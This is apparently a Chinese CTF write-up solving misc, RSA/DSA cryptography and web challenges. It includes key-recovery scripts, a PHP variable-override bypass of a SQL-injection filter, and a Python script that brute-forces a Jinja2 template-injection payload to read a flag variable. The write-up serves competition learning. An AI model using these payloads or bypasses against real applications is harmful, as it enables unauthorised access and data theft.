misc
签到
直接linux命令行运行出结果
可乐加冰
题目是一张百事可乐logo的图片,尝试foremost分解无效,尝试binwalk分析
发现zlib压缩数据,使用binwalk分解
依次用010打开,只有2AE96发现情况
观察数据,数据都每一位都不超过0xa,(10),可能是10进制,编写脚本转码:
很像jjencode,替换S为$,完整代码如下:
a = '83 46 36 36 36 95 43 83 46 36 95 95 36 43 83 46 95 95 95 43 83 46 95 95 36 43 83 46 36 36 36 36 43 83 46 36 36 36 95 43 83 46 36 95 95 36 43 83 46 95 95 36 43 34 45 34 43 83 46 36 95 36 36 43 83 46 36 95 36 95 43 83 46 36 36 95 36 43 83 46 36 36 95 43 34 45 34 43 83 46 36 95 95 43 83 46 36 95 36 95 43 83 46 36 36 36 36 43 83 46 36 36 36 43 34 45 34 43 83 46 36 95 95 36 43 83 46 36 95 95 36 43 83 46 36 36 95 43 83 46 95 36 36 43 34 45 34 43 83 46 36 36 95 36 43 83 46 36 95 36 95 43 83 46 36 36 95 36 43 83 46 36 95 95 95 43 83 46 95 95 36 43 83 46 95 36 95 43 83 46 36 36 36 36 43 83 46 36 95 36 43 83 46 36 36 95 43 83 46 95 36 95 43 83 46 36 95 95 43 83 46 36 36 95 36'
a = a.replace(' ',"")
#print(a)
strs = ""
for i in range(0,len(a),2):
strs += (chr(int(a[int(i):int(i+2)])))
strs = strs.replace('S','$')
print(strs)
#strs = '$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$'
加密后如下:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+\\\"-\\\"+$.$_$$+$.$_$_+$.$$_$+$.$$_+\\\"-\\\"+$.$__+$.$_$_+$.$$$$+$.$$$+\\\"-\\\"+$.$__$+$.$__$+$.$$_+$._$$+\\\"-\\\"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$"+"\"")())();
有了加密的编码和原始编码,在控制台直接解密,得到flag
谷歌每次都能解密成功,但是火狐很多次才一次成功,原因不明
pcapng
题目提示这是个dnp3协议,wireshark分析
将dnp3按长度进行排序,每一个查看内容,直到长度91开始,出现f
下一个出现l,依次读取
得到flag{d989e2b92ea671f5d30efb8956eab1427625c}
pcap-analysic
题目说分析Modbus协议
wireshark打开,选取其中一个modbus协议,追踪tcp流
发现flag,flag为:flag{323f986d429a689d3b96ad12dc5cbc701db0af55}
密码学
baby_rsa
题目给了一个python程序,还有输出的数据,我把数据部分移到程序那里
#!/usr/bin/env python
from Crypto.Util.number import *
from secret import FLAG,BIT
p = getPrime(BIT)
q = getPrime(BIT)
n = p*q
m = bytes_to_long(FLAG)
n=p*q
e = 65537
c = pow(m,e,n) m^e mod n 求出m
print('n={}'.format(n))
print('c={}'.format(c))
n=17649959524397760997121068808256580843504587497910149453915162267396485718887518595291066193109877306674118444195689568088263844046660375223625289837992862053279345177671592293911174778827999488542179620983366850016034027115530276422989943300228066482304416809472413052663535805445730178026554076921827725694259203653909224978173857255494234555062560049936771927672590813681897238186260507539943545237569643120449213465796499750961465626495972566123774033404378255591053613115928255568749091129063492156842873395480632444228696955053141918113950854532182678159336565263274798149079981609244430557152399984535126235363
c=15029318220576201468560263535467919662488860043345492393144032736965870242713450606659777890850505132225711280093046172524095525322154673926523304203423191705454071359296529857716754655771123283983880428698763018843822679367577019725819696194151686979021896785125371586584321924453460309048191160124062645590495288978330433202359745254888236717638151156562967968775572180730587161672905799413277059329869890946648167796801765219831746094281346814783939724111424859058879220880599487372955861808493657218563898884555812145492576092463968720535434333471337338652526644364433874563267556126777216068855825634384513829424
p1 = getPrime(BIT)
q1 = getPrime(BIT)
n1 = p1*q1
e1 = 264769
c1 = pow(p,e1,n1) p^e1 mod n1
print('n1={}'.format(n1))
print('c1={}'.format(c1))
n1=11941055546120835541933837916957535027223641642056156743752345801163456170772591807989846005495118671627583480778591488285910051133125545781378893719554427584148075540206612251653456701817071613890721071975616517809857996246607186607334395902967699076560894499607006508473605653089963092771854212576322017350805147649094768237953455009748131863337396511143680074932058392590124680763754449521538152648826051051725262170054340100951449328841662181738885435084388023374118710392556656584562494466181529819874959240003672308773193993983011133478065179503497212335076082903214298387572478483167372666139510894330498063363
c1=6581154435167641787433706075004561388301805860331946235823513860405803778235872737931884851831035226083382029584246800645018019413127765759061141252000392053167257633079915212463877266874219355926577661560935087214076228489015179444896502239970526394611817785461522402281447698895527412078173938006497062776091893518267645893781893160963255732937916279470200335626401698825349254177657209090710482565606571789980792435731381726512181109745347022096351073206312644630716411754744858295344041386540535791304586399357404127194796021552916370709209765337503596373097584818783365858724366310222037341353418913289811053095
hint1 = pow(233*p1+q1,123,n1)
hint2 = pow(p1+q1,321,n1)
print('hint1={}'.format(hint1))
print('hint2={}'.format(hint2))
hint1=1833359454277884547260964954436531463268066576658722989627564649033696969709536217088486700312933027950428272129950495535027288886651991915165684324611000436088979018485688408816231521968453936075696805751053276363477053225197411503384438465457747778257828546056452288773844510523924632927812430649476760238174873630670747649726829664710227729046538241685027106636190022704674813914658555522704254026934170921180880364524978980605216421102751036031187837852845145176233340544629656075196693935478996314670725777034314862269533476603759021249576881724904714872278034418134979560765768103587371983746026587223025082701
hint2=9228372398106611678286602895979417641404959178255543814408337636177265187498562357680073193750915958259886134885485814072189036077766844561767759359250327303362810094050654309593039106720830526510922411657244536811556192653039479590127726241656703727857177346638244353889205681446185783145149422115271311856344478861088252744224041700828934971839656845962952500398770632343211042957147026294673482712989723897728337948158121202913573351729397106490347537538903650384995023749669582138437808423835983027756877883503757939832290271053227076409279478395525689458736619490567940661071408166381129935073856561201013361053
p2 = getPrime(BIT)
q2 = getPrime(BIT)
n2 = p2*q2
e2 = 467237
c2 = pow(p,e2,n2)
hint3 = (p2^q2+23333)*(p2**2+q2**2)
print('n2={}'.format(n2))
print('c2={}'.format(c2))
print('hint3={}'.format(hint3))
n2=23455941227615775239443656539308297643982180829894484654402049952011754902910673016959293180763361297198028854846363769063194531340669913995607156520854107236145047519578431507504734946246387233119717455988604342629143169157458584024447539175522986194131420361207058659457842367747225416115718224096447064601381167752066587897491480906570491639285673739647530780716845522767589953844752161693528538842719783969776712946980214527220333249829977678665044026275482383388141550463655788551517246509583964301299148891187023831298370935139952329286769019479750190899942260635809156294531533965944585308646875084207341309299
c2=10715530306324673951548363119599726709032302490502503621262820402900708789479621786122202992270558740188089762633055937315273764776127007864314674666166396689989930966418725350921051566929420570800769227599053763394381881199633177787353312804172567883872711505640718496347152167195080365353610444414595776482688285765982794405522837470961426021769204869380013321460287585054427869064253751275281437353126670344963886123242042442941517661063614551338654515719677153884859086613947232523675577273003475854186999077452645748496990780555934158380320022165991608812421649555260206052852131416556798379301864938588470069672
hint3=1654703003093197323980549268127925734263220180218064821197891025480097895203898772683216556991095679066676330439571583420844073504061955914501552694851614664535404506850987626495748207864609522112425305618610542301021476293897450207456755153556758668114136827972390250711416496872911351908708498414711360774971803573424205005228478582765383952861132873141928265470739139939621697690745206102955277335631722299407771944405392356152203059038634579646087719909219308328870723043866071044134819385941485815488954689419436803675260443857367260605145787282706903883937049863141720288267973088830357903178618320711954941279581318770659585316616595448063292922358711609246297827512125769079432138746015092937410075719218112875217464130311880766565746303930574642167673189222237455675759570092101319641817787110871628322729294716699165480945617248862043371295021999756247543649749491705260692788753355626196854460802924198436342429850
分析:flag是被公钥加密的,解开的话需要私钥d,根据rsa的算法,得到私钥d就需要分解n
注意到题目有:c1=pow(p,e1,n1),如果可以分解n1(即求出p1,q1),那么p就可求出来,私钥d也可以得到
同时题目还有hint1和hint2
hint1 = pow(233*p1+q1,123,n1)
hint2 = pow(p1+q1,321,n1)
根据这两个hint就可以得到p1和q1,证明如下:
因为hint1 = pow(233*p1+q1,123,n1),hint2 = pow(p1+q1,321,n1),且n1 = p1*q1
即可化为
hint1 = (233*p1+q1)^123 mod p1*q1
hint2 = (p1+q1)^321 mod p1*q1
又因为 q1 | q1*p1
则有
hint1 = (233*p1+q1)^123 mod q1
hint2 = (p1+q1)^321 mod q1
最终可化简为
hint1 = (233*p1)^123 mod q1
hint2 = (p1)^321 mod q1
(hint1)^321 = ((233*p1)^123)^321 = (233^(123*321)) * p1^(123*321)
= (233^(123*321)) * (hint2)^123 mod q1
则 (hint1)^321 = k*q1 + (233^(123*321)) * (hint2)^123
所以 k*q1 = (hint1)^321 - (233^(123*321)) * (hint2)^123
gcd((hint1)^321 - (233^(123*321)) * (hint2)^123,n1) = q1
由此可以得到q1,因为n1,已知,可以得到p1,已知c1=pow(p,e1,n1),可以得到p,因为n已知,可以得到q,分解完成
得到p,q,就可以得到私钥d,进而求出明文flag
完整程序如下:
from Crypto.Util.number import *
from gmpy2 import *
from binascii import *
n=17649959524397760997121068808256580843504587497910149453915162267396485718887518595291066193109877306674118444195689568088263844046660375223625289837992862053279345177671592293911174778827999488542179620983366850016034027115530276422989943300228066482304416809472413052663535805445730178026554076921827725694259203653909224978173857255494234555062560049936771927672590813681897238186260507539943545237569643120449213465796499750961465626495972566123774033404378255591053613115928255568749091129063492156842873395480632444228696955053141918113950854532182678159336565263274798149079981609244430557152399984535126235363
c=15029318220576201468560263535467919662488860043345492393144032736965870242713450606659777890850505132225711280093046172524095525322154673926523304203423191705454071359296529857716754655771123283983880428698763018843822679367577019725819696194151686979021896785125371586584321924453460309048191160124062645590495288978330433202359745254888236717638151156562967968775572180730587161672905799413277059329869890946648167796801765219831746094281346814783939724111424859058879220880599487372955861808493657218563898884555812145492576092463968720535434333471337338652526644364433874563267556126777216068855825634384513829424
n1=11941055546120835541933837916957535027223641642056156743752345801163456170772591807989846005495118671627583480778591488285910051133125545781378893719554427584148075540206612251653456701817071613890721071975616517809857996246607186607334395902967699076560894499607006508473605653089963092771854212576322017350805147649094768237953455009748131863337396511143680074932058392590124680763754449521538152648826051051725262170054340100951449328841662181738885435084388023374118710392556656584562494466181529819874959240003672308773193993983011133478065179503497212335076082903214298387572478483167372666139510894330498063363
c1=6581154435167641787433706075004561388301805860331946235823513860405803778235872737931884851831035226083382029584246800645018019413127765759061141252000392053167257633079915212463877266874219355926577661560935087214076228489015179444896502239970526394611817785461522402281447698895527412078173938006497062776091893518267645893781893160963255732937916279470200335626401698825349254177657209090710482565606571789980792435731381726512181109745347022096351073206312644630716411754744858295344041386540535791304586399357404127194796021552916370709209765337503596373097584818783365858724366310222037341353418913289811053095
hint1=1833359454277884547260964954436531463268066576658722989627564649033696969709536217088486700312933027950428272129950495535027288886651991915165684324611000436088979018485688408816231521968453936075696805751053276363477053225197411503384438465457747778257828546056452288773844510523924632927812430649476760238174873630670747649726829664710227729046538241685027106636190022704674813914658555522704254026934170921180880364524978980605216421102751036031187837852845145176233340544629656075196693935478996314670725777034314862269533476603759021249576881724904714872278034418134979560765768103587371983746026587223025082701
hint2=9228372398106611678286602895979417641404959178255543814408337636177265187498562357680073193750915958259886134885485814072189036077766844561767759359250327303362810094050654309593039106720830526510922411657244536811556192653039479590127726241656703727857177346638244353889205681446185783145149422115271311856344478861088252744224041700828934971839656845962952500398770632343211042957147026294673482712989723897728337948158121202913573351729397106490347537538903650384995023749669582138437808423835983027756877883503757939832290271053227076409279478395525689458736619490567940661071408166381129935073856561201013361053
e1 = 264769
e = 65537
x = pow(hint1,321)-pow(233,123*321)*pow(hint2,123)
q1 = gcd(x,n1)
p1 = n1//q1
Fai1 = (p1-1)*(q1-1)
d1 = invert(e1,Fai1)
p = pow(c1,d1,n1)
q = n//p
Fai = (p-1)*(q-1)
d = invert(e,Fai)
m = pow(c,d,n)
flag = hex(m)[2:]
fin_flag = a2b_hex(flag).decode('utf-8')
print fin_flag
baby_dsa
题目给了一个python程序,还有输出的数据,我把数据部分移到程序那里
#!/usr/bin/env python
from Crypto.Util.number import *
from hashlib import sha512,md5
from os import urandom
import random
def hash(message):
return int(sha512(message).hexdigest(), 16)#哈希函数
def key_gen():
q = getPrime(256) #q是一个素数
while True:
p = random.getrandbits(2816)*q + 1 #满足条件p-1是q的倍数
if isPrime(p):
print(p.bit_length())
break
while True:
g = pow(random.randrange(1, p-1), (p-1)/q, p) #范围,指数,模数
if g != 1:
break
x = random.randrange(1, q) #得到私钥x
y = pow(g, x, p) #得到y
pubkey = (p, q, g, y) #公钥
privkey = x #私钥
return pubkey, privkey
def sign(message, pubkey, privkey):
p, q, g, y = pubkey
x = privkey
k = pow(y, x, g) * random.randrange(1, 512) % q #随机数范围很小
r = pow(g, k, p) % q
s = inverse(k, q) * (hash(message) + x * r) % q
return r, s
def verify(message, signature, pubkey): #验算
p, q, g, y = pubkey
r, s = signature #签名
if not (0 < r < q) or not (0 < s < q):
return False
w = inverse(s, q) #得到s的逆
u1 = (hash(message) * w) % q
u2 = (r * w) % q
v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
return v == r
pubkey, privkey = key_gen()
print(pubkey)
(p = 3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533L,
q = 82302835442112137125891403368151249910268706824854786126600390413622302196443L,
g = 1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005L,
y = 290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053L)
message1 = urandom(16).encode('hex')
signature1 = sign(message1, pubkey, privkey)
print(message1,signature1)
(message1 = '0234e7971889def7e60348f77db94b7a', (
r = 10859236269959765735236393779936305217305574331839234502190226708929991582386L,
s = 13707557323895695260471053137828523837745895683218331343360027380310980108819L))
print(verify(message1, signature1, pubkey))
message2 = urandom(16).encode('hex')
signature2 = sign(message2, pubkey, privkey)
print(message2,signature2)
(message2 = '16c5ac270b72f70319657b4410d985d4', (
r = 41960642246379067640524709416001536058292817319109764317369777224426218746518L,
s = 74676725322515593502346275468843411563746982149373670021082686341369076719088L))
print(verify(message2, signature2, pubkey))
flag = 'flag{'+md5(long_to_bytes(privkey)).hexdigest()+'}'
题目就是要我们求出私钥,根据程序分析可以得到,两组dsa的数据,用了同一个私钥,下面推导私钥的表达式
两组数据,则有两个表达式,如下
k1s1 = (H(M1)+xr1) mod q
k2s2 = (H(M2)+xr2) mod q
同时也有
k1 = (y^x mod g * random1) mod q
k2 = (y^x mod g * random2) mod q
对于k1和k2的表达式,有含有x,但是因为是离散对数的格式,表达x困难,尝试将其替换掉
k1,k2表达式,将随机数移到左边
k1 * random1^-1 = (y^x mod g) mod q
k2 * random2^-1 = (y^x mod g) mod q
所以得到:k1 * random1^-1 = k2 * random2^-1
此式子缺乏x,需要引入含有x的表达式,ks = (H(M)+xr) mod q,两边同时乘以s1s2
k1 * random1^-1 * s1*s2 = k2 * random2^-1 * s1*s2
式子也等价于
H(M1)random1^-1 *s2 + xr1*random1^-1 * s2 = H(M2)random2^-1 *s1 + xr2*random2^-1 * s1
再化简
H(M1)random1^-1 *s2 * random2 + xr1*random1^-1 * s2 * random2 = H(M2) * s1 + xr2*s1
移项
H(M1)random1^-1 *s2 * random2 - H(M2) * s1 = xr2*s1 - xr1*random1^-1 * s2 * random2
x = H(M1)*random1^-1 *s2 * random2 - H(M2) * s1 / (r2*s1 - r1*random1^-1 * s2 * random2)
因为随机数的范围不是很大,暴力破解,只要找到签名和题目给定的签名相同,就可以确定随机数,求出私钥x(但是我还是跑了好久。。。)
from Crypto.Util.number import *
from hashlib import sha512,md5
pubkey = (3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533L,82302835442112137125891403368151249910268706824854786126600390413622302196443L,1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005L,290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053L)
p,q,g,y = pubkey
message1xx = (b'0234e7971889def7e60348f77db94b7a',(10859236269959765735236393779936305217305574331839234502190226708929991582386L,13707557323895695260471053137828523837745895683218331343360027380310980108819L))
message1 = b'0234e7971889def7e60348f77db94b7a'
r1 = 10859236269959765735236393779936305217305574331839234502190226708929991582386L
s1 = 13707557323895695260471053137828523837745895683218331343360027380310980108819L
message2 = b'16c5ac270b72f70319657b4410d985d4'
r2 = 41960642246379067640524709416001536058292817319109764317369777224426218746518L
s2 = 74676725322515593502346275468843411563746982149373670021082686341369076719088L
def hash(message):
return int(sha512(message).hexdigest(), 16)
def sign(message, pubkey, privkey,randoms):
p, q, g, y = pubkey
x = privkey
k = pow(y,x,g) * randoms
r = pow(g,k,p)%q
s = inverse(k,q)*(hash(message)+x*r)%q
return r,s
H1 = hash(message1)
H2 = hash(message2)
#x = H(M1)*random1^-1 *s2 * random2 - H(M2) * s1 / (r2*s1 - r1*random1^-1 * s2 * random2)
print "Now attack start..."
for random2 in range(1,512):
print "Now random2 is:%d\n" % random2
for random1 in range(1,512):
print "Now random1 is:%d" %random1
random1_inverse = inverse(random1,q)
x = (H1*random1_inverse*s2*random2-H2*s1) * inverse(r2*s1-r1*random1_inverse*s2*random2,q)%q
if sign(message1,pubkey,x,random1) == message1xx[1]:
flag = 'flag{'+md5(long_to_bytes(x)).hexdigest()+'}'
print flag
print "Success!"
exit()
web
千毒网盘
访问url/www.zip,发现源码
#index.php
foreach(array('_GET', '_POST', '_COOKIE') as $key) #就是说$key就是_GET,$$key就是$_GET
{
if($$key)
{
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2); #删除变量
}
}
}
if(isset($_POST['code']))
$_POST['code'] = $pan->filter($_POST['code']);
if($_GET)
extract($_GET, EXTR_SKIP); #添加变量
if($_POST)
extract($_POST, EXTR_SKIP); #添加变量
#code.php
public function filter($string) #安全检验函数
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}
else{
return False;
}
}
public function getfile()
{
$code = $_POST['code'];
if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);
if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";#这里可能可以进行sql注入
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}
else
{
return '提取码不存在!';
}
}
题目明显就是使用sql注入拿到flag,但是因为安全函数的原因,无法构造语句,想办法绕过这个函数,进入安全函数的条件是:if(isset(\(_POST['code'])),如果条件为假,就可以不执行安全函数,同时前面也有unset(\)$key_2); ,经过本地测试,当使用 _POST时变量就会被删除,不会执行安全函数
假设最开始_GET传参$_POST[code]=114514',_GET数组的键名是_POST,所以导入了_POST的变量,即$_POST变量,这两个语句
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
运行后
恢复$code=114514'
本地测试结果如下:
这样就绕过了安全函数,使用sql注入,注意要GET和POST都传参,之后就常规的sql注入了
TryToLogin
暂无思路
Hello
前端代码提示访问/help,访问后,得到一大串base64码,解密后的源码如下
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = ''' '''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888
分析源码:程序开始就读取了/flag的内容,放在变量flag里面,之后又删除了/flag,并且对一些重要的函数进行过滤,也过滤了{{,可以用{%绕过
经过测试,在默认的页面尽管?name是可控的,但是无论输入什么,就输出什么,可见默认页面不可用,那么就只剩下404页面可以被利用,之前的变量flag已经保存了flag了,使用print输入就可以
python脚本如下
import requests
url = 'xxxxx/a'
for i in range(100):
data=""{%print [].__class__.__bases__[0].__subclasses__() ["+str(i)+"].__init__.__globals__['__builtins__']['__import__'] ('__main__').flag %}"
res = requests.post(url=url,data=data)
if "flag" in res.text:
print(res.text)